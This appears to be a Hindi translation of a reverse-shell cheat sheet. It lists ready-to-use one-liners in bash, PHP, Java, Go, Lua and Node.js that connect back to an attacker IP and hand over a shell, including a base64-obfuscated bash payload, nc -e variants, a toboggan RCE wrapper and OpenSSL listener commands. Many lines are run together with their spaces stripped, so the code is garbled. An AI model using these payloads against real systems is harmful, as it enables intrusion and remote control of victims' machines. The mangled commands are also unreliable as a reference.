curlhttps://reverse-shell.sh/1.1.1.1:3000|bashbash-i>&/dev/tcp/<ATTACKER-IP>/<PORT>0>&1bash-i>&/dev/udp/127.0.0.1/42420>&1#UDP0<&196;exec196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh<&196>&1962>&196exec5<>/dev/tcp/<ATTACKER-IP>/<PORT>; whilereadline0<&5; do $line 2>&5>&5; done#Short and bypass (credits to Dikline)(sh)0>/dev/tcp/10.10.10.10/9091#after getting the previous shell to get the output to executeexec>&0
प्रतीक सुरक्षित शैली
#If you need a more stable connection do:bash-c'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'#Stealthier method#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0echobm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK|base64-d|bash2>/dev/null
शैल व्याख्या
bash -i: इस भाग का कमांड एक इंटरैक्टिव (-i) बैश शैल शुरू करता है।
>&: यह कमांड का एक हिस्सा है जो मानक आउटपुट (stdout) और मानक त्रुटि (stderr) को एक ही गंतव्य पर पुनर्निर्देशित करने के लिए एक संक्षेप चिह्न है।
/dev/tcp/<ATTACKER-IP>/<PORT>: यह एक विशेष फ़ाइल है जो निर्दिष्ट आईपी पते और पोर्ट के लिए एक TCP कनेक्शन का प्रतिनिधित्व करती है।
इस फ़ाइल पर आउटपुट और त्रुटि स्ट्रीम को पुनर्निर्देशित करके, कमांड वास्तव में इंटरैक्टिव शैल सत्र का आउटपुट हमले की मशीन पर भेजता है।
0>&1: यह कमांड का एक हिस्सा है जो मानक इनपुट (stdin) को मानक आउटपुट (stdout) के समान गंतव्य पर पुनर्निर्देशित करता है।
जब एक लिनक्स-आधारित वेब एप्लिकेशन में रिमोट कोड एक्झीक्यूशन (RCE) वलनरेबिलिटी का सामना किया जाता है, तो रिवर्स शैल स्थापित करना नेटवर्क रक्षाओं द्वारा बाधित हो सकता है जैसे iptables नियम या जटिल पैकेट फ़िल्टरिंग तंत्र। इस तरह के प्रतिबंधित वातावरण में, एक वैकल्पिक दृष्टिकोण में PTY (सेम्यूलेटेड टर्मिनल) शैल स्थापित करना ज्यादा प्रभावी ढंग से संयंत्र के साथ बातचीत करने के लिए शामिल हो सकता है।
इस उद्देश्य के लिए एक सिफारिश की गई टूल toboggan है, जो लक्षित वातावरण के साथ बातचीत को सरल बनाता है।
toboggan का प्रभावी उपयोग करने के लिए, अपने लक्षित सिस्टम के RCE संदर्भ के लिए एक पायथन मॉड्यूल बनाएं। उदाहरण के लिए, एक मॉड्यूल जिसका नाम nix.py हो सकता है, निम्नलिखित ढंग से संरचित हो सकता है:
import jwt
import httpx
def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)
response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)
# Check if the request was successful
response.raise_for_status()
return response.text
और फिर, आप निम्नलिखित को चला सकते हैं:
toboggan-mnix.py-i
एक इंटरेक्टिव शैल का सीधा लाभ उठाने के लिए, आप बर्पस्यूट एकीकरण के लिए -b जोड़ सकते हैं और एक अधिक बुनियादी आरसीई रैपर के लिए -i हटा सकते हैं।
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.// Using this method may lead to instances where the connection reaches out to the listener and then closes.php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'// Using 'proc_open' makes no assumptions about what the file descriptor will be.// See https://security.stackexchange.com/a/198944 for more information<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock), $pipes); ?><?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
जावा
r=Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
लुआ
#Linuxlua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linuxlua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
नोडजेएस
(function(){var net =require("net"),cp =require("child_process"),sh =cp.spawn("/bin/sh", []);var client =newnet.Socket();client.connect(8080,"10.17.26.64",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/; // Prevents the Node.js application form crashing})();orrequire('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")or-var x =global.process.mainModule.require-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')or// If you get to the constructor of a function you can define and execute another function inside a string"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
or// Abuse this syntax to get a reverse shellvar fs =this.process.binding('fs');var fs =process.binding('fs');orhttps://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
OpenSSL
हम एक नए टर्मिनल विंडो खोलेंगे और निम्नलिखित कमांड का उपयोग करेंगे:
opensslreq-x509-newkeyrsa:4096-keyoutkey.pem-outcert.pem-days365-nodes#Generate certificateopenssls_server-quiet-keykey.pem-certcert.pem-port<l_port>#Here you will be able to introduce the commandsopenssls_server-quiet-keykey.pem-certcert.pem-port<l_port2>#Here yo will be able to get the response